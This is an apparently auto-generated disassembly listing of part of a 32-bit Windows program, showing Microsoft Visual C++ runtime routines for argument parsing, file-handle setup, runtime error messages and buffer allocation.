		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C

loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9

loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD281[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------

loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD281[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]

loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]

loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------

loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi

loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------

loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0

loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBFB4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFB4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------

loc_423A08:				; CODE XREF: ___:004239FAj
		nop
		call	near ptr 2620A68h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFB4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------

loc_423A27:				; CODE XREF: ___:004239F2j
		cmp	eax, 1
		jnz	loc_423AB1

loc_423A30:				; CODE XREF: ___:00423A06j
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02

loc_423A40:				; CODE XREF: ___:00423A32j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55

loc_423A47:				; CODE XREF: ___:00423A4Cj
					; ___:00423A53j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47

loc_423A55:				; CODE XREF: ___:00423A45j
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423AA2
		push	dword ptr [esp+10h]
		call	sub_41BA91
		pop	ecx
		mov	[esp+10h], ebx

loc_423AA2:				; CODE XREF: ___:00423A92j
		mov	ebx, [esp+10h]

loc_423AA6:				; CODE XREF: ___:00423A72j
					; ___:00423A81j
		push	esi
		nop
		call	near ptr 2620D2Ah
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------

loc_423AB1:				; CODE XREF: ___:00423A2Aj
		cmp	eax, 2
		jnz	short loc_423B02

loc_423AB6:				; CODE XREF: ___:00423A22j
		cmp	edi, ebx
		jnz	short loc_423AC6
		nop
		call	near ptr 2620A68h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02

loc_423AC6:				; CODE XREF: ___:00423AB8j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6

loc_423ACC:				; CODE XREF: ___:00423ACFj
					; ___:00423AD4j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC

loc_423AD6:				; CODE XREF: ___:00423ACAj
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------

loc_423AEC:				; CODE XREF: ___:00423AE6j
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch

loc_423AF7:				; CODE XREF: ___:00423AEAj
		push	edi
		nop
		call	near ptr 2620D49h
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------

loc_423B02:				; CODE XREF: ___:00423A12j
					; ___:00423A3Aj ...
		xor	eax, eax

loc_423B04:				; CODE XREF: ___:00423AAFj
					; ___:00423B00j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx

loc_423B2B:				; CODE XREF: ___:00423B21j
		mov	dword_4DD060, esi
		mov	dword_4DD160, 20h
		lea	eax, [esi+100h]

loc_423B41:				; CODE XREF: ___:00423B5Dj
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD060
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------

loc_423B5F:				; CODE XREF: ___:00423B43j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2880000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423C3B
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax

loc_423B95:				; CODE XREF: ___:00423B91j
		cmp	dword_4DD160, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD064

loc_423BA2:				; CODE XREF: ___:00423BE5j
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD160, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_423BC0:				; CODE XREF: ___:00423BDAj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------

loc_423BDC:				; CODE XREF: ___:00423BC2j
		add	edi, 4
		cmp	dword_4DD160, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------

loc_423BE9:				; CODE XREF: ___:00423BAFj
		mov	esi, dword_4DD160

loc_423BEF:				; CODE XREF: ___:00423B9Bj
					; ___:00423BE7j
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B

loc_423BF5:				; CODE XREF: ___:00423C39j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C32

loc_423C14:				; CODE XREF: ___:00423C07j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_423C32:				; CODE XREF: ___:00423BFAj
					; ___:00423C02j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5

loc_423C3B:				; CODE XREF: ___:00423B70j
					; ___:00423B7Cj ...
		xor	ebx, ebx

loc_423C3D:				; CODE XREF: ___:00423CA0j
		mov	eax, dword_4DD060
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------

loc_423C58:				; CODE XREF: ___:00423C51j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_423C62:				; CODE XREF: ___:00423C56j
		push	eax
		call	near ptr 26207ABh
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D

loc_423C87:				; CODE XREF: ___:00423C6Ej
					; ___:00423C79j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------

loc_423C8D:				; CODE XREF: ___:00423C85j
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------

loc_423C98:				; CODE XREF: ___:00423C49j
		or	byte ptr [esi+4], 80h

loc_423C9C:				; CODE XREF: ___:00423C8Bj
					; ___:00423C90j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD160
		call	near ptr 26209E3h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_4228FD+Ao
					; sub_422A2C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423CF3
; ---------------------------------------------------------------------------

loc_423D52:				; CODE XREF: sub_423CC0+54j
		mov	eax, 0
		jmp	short loc_423D75
; ---------------------------------------------------------------------------

loc_423D59:				; CODE XREF: sub_423CC0+36j
		mov	eax, 1
		jmp	short loc_423D75
; ---------------------------------------------------------------------------

loc_423D60:				; CODE XREF: sub_423CC0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D592
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_423D75:				; CODE XREF: sub_423CC0+97j
					; sub_423CC0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423CC0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D592
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423D98	proc near		; CODE XREF: sub_41E2C9+9p
		mov	eax, dword_4DBE4C
		cmp	eax, 1
		jz	short loc_423DAF
		test	eax, eax
		jnz	short locret_423DD0
		cmp	dword_43AE54, 1
		jnz	short locret_423DD0

loc_423DAF:				; CODE XREF: sub_423D98+8j
		push	0FCh
		call	sub_423DD1
		mov	eax, dword_4DBFB8
		pop	ecx
		test	eax, eax
		jz	short loc_423DC5
		call	eax

loc_423DC5:				; CODE XREF: sub_423D98+29j
		push	0FFh
		call	sub_423DD1
		pop	ecx

locret_423DD0:				; CODE XREF: sub_423D98+Cj
					; sub_423D98+15j
		retn
sub_423D98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DD1	proc near		; CODE XREF: sub_41E2C9+12p
					; sub_423D98+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D4E8

loc_423DE4:				; CODE XREF: sub_423DD1+20j
		cmp	edx, [eax]
		jz	short loc_423DF3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D578
		jl	short loc_423DE4

loc_423DF3:				; CODE XREF: sub_423DD1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D4E8[esi]
		jnz	loc_423F21
		mov	eax, dword_4DBE4C
		cmp	eax, 1
		jz	loc_423EFB
		test	eax, eax
		jnz	short loc_423E24
		cmp	dword_43AE54, 1
		jz	loc_423EFB

loc_423E24:				; CODE XREF: sub_423DD1+44j
		cmp	edx, 0FCh
		jz	loc_423F21
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_423E5B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx

loc_423E5B:				; CODE XREF: sub_423DD1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B9C0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423E9E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BFD0
		add	esp, 10h

loc_423E9E:				; CODE XREF: sub_423DD1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C890
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_A0]
		push	offset asc_427BF0 ; "\n\n"
		push	eax
		call	sub_41C8A0
		push	off_43D4EC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C8A0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_425029
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423F21
; ---------------------------------------------------------------------------

loc_423EFB:				; CODE XREF: sub_423DD1+3Cj
					; sub_423DD1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D4EC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 26207ABh
		nop
		push	eax
		call	near ptr 2710000h
		nop

loc_423F21:				; CODE XREF: sub_423DD1+2Ej
					; sub_423DD1+59j ...
		pop	esi
		leave
		retn
sub_423DD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423F24	proc near		; CODE XREF: sub_42423B:loc_4243B3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DD060

loc_423F33:				; CODE XREF: sub_423F24+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423F70
		lea	edx, [eax+100h]

loc_423F3F:				; CODE XREF: sub_423F24+28j
		cmp	eax, edx
		jnb	short loc_423F5F
		test	byte ptr [eax+4], 1
		jz	short loc_423F4E
		add	eax, 8
		jmp	short loc_423F3F
; ---------------------------------------------------------------------------

loc_423F4E:				; CODE XREF: sub_423F24+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_423FB3

loc_423F5F:				; CODE XREF: sub_423F24+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DD160
		jl	short loc_423F33
		jmp	short loc_423FB3
; ---------------------------------------------------------------------------

loc_423F70:				; CODE XREF: sub_423F24+13j
		mov	esi, 100h
		push	esi
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423FB3
		add	dword_4DD160, 20h
		lea	ecx, ds:4DD060h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_423F96:				; CODE XREF: sub_423F24+88j
		cmp	eax, edx
		jnb	short loc_423FAE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423F96
; ---------------------------------------------------------------------------

loc_423FAE:				; CODE XREF: sub_423F24+74j
		shl	edi, 5
		mov	ebx, edi

loc_423FB3:				; CODE XREF: sub_423F24+39j
					; sub_423F24+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423F24	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FB9	proc near		; CODE XREF: sub_42423B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD160
		push	edi
		jnb	short loc_424019
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_424019
		cmp	dword_43AE54, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42400F
		sub	eax, 0
		jz	short loc_424006
		dec	eax
		jz	short loc_424001
		dec	eax
		jnz	short loc_42400F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_424009
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FB9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_424009
; ---------------------------------------------------------------------------

loc_424006:				; CODE XREF: sub_423FB9+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_424009:				; CODE XREF: sub_423FB9+46j
					; sub_423FB9+4Bj
		nop
		call	near ptr 2610C34h

loc_42400F:				; CODE XREF: sub_423FB9+36j
					; sub_423FB9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42402D
; ---------------------------------------------------------------------------

loc_424019:				; CODE XREF: sub_423FB9+Cj
					; sub_423FB9+28j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh

loc_42402D:				; CODE XREF: sub_423FB9+5Ej
		pop	edi
		pop	esi
		retn
sub_423FB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424030	proc near		; CODE XREF: sub_41E312+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DD160
		push	edi
		jnb	short loc_424093
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_424093
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_424093
		cmp	dword_43AE54, 1
		jnz	short loc_424089
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_424080
		dec	ecx
		jz	short loc_42407B
		dec	ecx
		jnz	short loc_424089
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_424083
; ---------------------------------------------------------------------------

loc_42407B:				; CODE XREF: sub_424030+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_424083
; ---------------------------------------------------------------------------

loc_424080:				; CODE XREF: sub_424030+3Ej
		push	eax
		push	0FFFFFFF6h

loc_424083:				; CODE XREF: sub_424030+49j
					; sub_424030+4Ej
		nop
		call	near ptr 2610C34h

loc_424089:				; CODE XREF: sub_424030+38j
					; sub_424030+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4240A7
; ---------------------------------------------------------------------------

loc_424093:				; CODE XREF: sub_424030+Cj
					; sub_424030+2Aj ...
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh

loc_4240A7:				; CODE XREF: sub_424030+61j
		pop	edi
		pop	esi
		retn
sub_424030	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240AA	proc near		; CODE XREF: sub_41E312+32p
					; sub_41E312+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jnb	short loc_4240D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4240D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4240D2:				; CODE XREF: sub_4240AA+Aj
					; sub_4240AA+23j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4240AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240E7	proc near		; CODE XREF: sub_41E3F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jnb	short loc_424130
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DD060[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_424130
		push	eax
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2610798h
		test	eax, eax
		jnz	short loc_424125
		nop
		call	near ptr 269096Bh
		jmp	short loc_424127
; ---------------------------------------------------------------------------

loc_424125:				; CODE XREF: sub_4240E7+34j
		xor	eax, eax

loc_424127:				; CODE XREF: sub_4240E7+3Cj
		test	eax, eax
		jz	short locret_42413D
		mov	dword_4DBDF0, eax

loc_424130:				; CODE XREF: sub_4240E7+Aj
					; sub_4240E7+22j
		mov	dword_4DBDEC, 9
		or	eax, 0FFFFFFFFh

locret_42413D:				; CODE XREF: sub_4240E7+42j
		retn
sub_4240E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42413E	proc near		; DATA XREF: ___:00429020o
		mov	eax, dword_4DD040
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_424152
		mov	eax, 200h
		jmp	short loc_424158
; ---------------------------------------------------------------------------

loc_424152:				; CODE XREF: sub_42413E+Bj
		cmp	eax, esi
		jge	short loc_42415D
		mov	eax, esi

loc_424158:				; CODE XREF: sub_42413E+12j
		mov	dword_4DD040, eax

loc_42415D:				; CODE XREF: sub_42413E+16j
		push	4
		push	eax
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC02C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	4
		push	esi
		mov	dword_4DD040, esi
		call	sub_4250B2
		pop	ecx
		mov	dword_4DC02C, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_424191
		push	1Ah
		call	sub_41E2C9
		pop	ecx

loc_424191:				; CODE XREF: sub_42413E+30j
					; sub_42413E+49j
		xor	ecx, ecx
		mov	eax, offset off_43D578

loc_424198:				; CODE XREF: sub_42413E+6Ej
		mov	edx, dword_4DC02C
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D7F8
		jl	short loc_424198
		xor	edx, edx
		mov	ecx, offset dword_43D588

loc_4241B5:				; CODE XREF: sub_42413E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DD060[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4241D2
		test	eax, eax
		jnz	short loc_4241D5

loc_4241D2:				; CODE XREF: sub_42413E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4241D5:				; CODE XREF: sub_42413E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D5E8
		jl	short loc_4241B5
		pop	esi
		retn
sub_42413E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241E3	proc near		; DATA XREF: ___:00429030o

; FUNCTION CHUNK AT 00425163 SIZE 00000058 BYTES

		call	sub_41E487
		cmp	byte_4DBE2C, 0
		jz	short locret_4241F6
		jmp	loc_425163
; ---------------------------------------------------------------------------

locret_4241F6:				; CODE XREF: sub_4241E3+Cj
		retn
sub_4241E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241F7	proc near		; CODE XREF: sub_41F8E3+32p
					; sub_41FE2A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBFBC
		push	1000h
		call	sub_41BEB5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424220
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424231
; ---------------------------------------------------------------------------

loc_424220:				; CODE XREF: sub_4241F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_424231:				; CODE XREF: sub_4241F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4241F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42423B	proc near		; CODE XREF: sub_41FBCD+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424261
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42426C
; ---------------------------------------------------------------------------

loc_424261:				; CODE XREF: sub_42423B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_42426C:				; CODE XREF: sub_42423B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_424286
		test	ch, 40h
		jnz	short loc_424282
		cmp	dword_4DC008, eax
		jz	short loc_424286

loc_424282:				; CODE XREF: sub_42423B+3Dj
		or	[ebp+var_1], 80h

loc_424286:				; CODE XREF: sub_42423B+38j
					; sub_42423B+45j
		push	3
		mov	eax, ecx
		pop	esi
